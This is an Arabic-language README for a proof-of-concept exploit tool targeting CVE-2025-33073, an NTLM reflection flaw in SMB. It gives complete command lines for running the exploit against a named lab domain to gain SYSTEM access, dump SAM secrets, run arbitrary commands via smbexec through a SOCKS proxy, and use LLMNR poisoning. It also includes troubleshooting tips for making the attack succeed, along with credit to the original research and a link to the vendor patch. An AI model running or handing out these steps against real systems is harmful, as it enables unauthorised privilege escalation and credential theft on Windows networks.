CVE-2025-33073

استغلال PoC لثغرة انعكاس NTLM في SMB.

كل الفضل يعود للبحث الرسمي:
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025

المتطلبات الأساسية

نظام التشغيل: Kali Linux (يحتوي على معظم الحزم مثبتة مسبقًا).

• NetExec (NXC) - https://github.com/Pennyw0rth/NetExec
• impacket-ntlmrelayx
• dnstool.py (مضمّن في المستودع)
• xterm (للواجهة الرسومية فقط)

مثال على الاستخدام

الواجهة الرسومية (GUI)

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65

واجهة سطر الأوامر (CLI)

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only

أمر مخصص
بدلاً من تشغيل secretsdump يمكن تنفيذ أمر مخصص.

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only --custom-command "whoami"

SOCKS
لتنفيذ أوامر أكثر تمويهًا بعد إنشاء اتصال صالح بصلاحيات SYSTEM. يجب أن يكون --target و --target-ip متساويين هنا.

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target 192.168.178.65 --target-ip 192.168.178.65 --cli-only --socks

يمكن أيضًا تشغيل أمر مخصص عبر proxychains بدلاً من تفريغ SAM.

proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec

استغلال يدوي بدون الحاجة إلى DNS

إذا كنت في نفس نطاق البث (broadcast domain) الخاص بالجهاز وكان الجهاز عرضة لتسميم LLMNR فمن الممكن استغلال جهاز دون الحاجة إلى تسجيل سجل DNS.

استكشاف الأخطاء وإصلاحها

• لاحظت أن الهجوم قد لا يعمل أحيانًا لأن اسم المضيف يُستخدم في الهجوم مما يؤدي إلى استعلام DNS من Kali. إذا كان Kali لا يستخدم خادم DNS أو تلقيت رسالة '/ FAILED' من impacket-ntlmrelayx فجرّب إضافة المضيف إلى ملف /etc/hosts لديك. يجب أن يؤدي ذلك إلى نجاح الهجوم.
• إذا كنت تستخدم عنوان IP فيجب أن يعمل الهجوم. أحيانًا يؤدي تشغيله عدة مرات إلى نجاح SUCCESS بدلاً من الفشل. حتى الآن ليس من الواضح تمامًا سبب حدوث ذلك. أعتقد أن الأمر له علاقة بالشبكات.
• جرّب طريقة إكراه أخرى باستخدام -M أو --method.

Wireshark

مصادقة NTLM المحلية تتم

مصادقة NTLM المحلية لا تتم مما يؤدي إلى محاولة فاشلة FAILED

من الجيد معرفته

• يتيح xterm النسخ واللصق باستخدام زر الفأرة الأوسط.
• يجب أن يكون سجل DNS معروفًا أيضًا للعميل، وقد يستغرق ذلك وقتًا أطول في بعض الحالات. بما أعنيه بالوقت الأطول هو إعطاؤه بضع دقائق.
• هذا مجرد PoC مما يعني أنه لم يتم تجربة تجاوز برامج مكافحة الفيروسات/EDR. استخدمه على مسؤوليتك الخاصة.
  

كيفية الإصلاح

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33073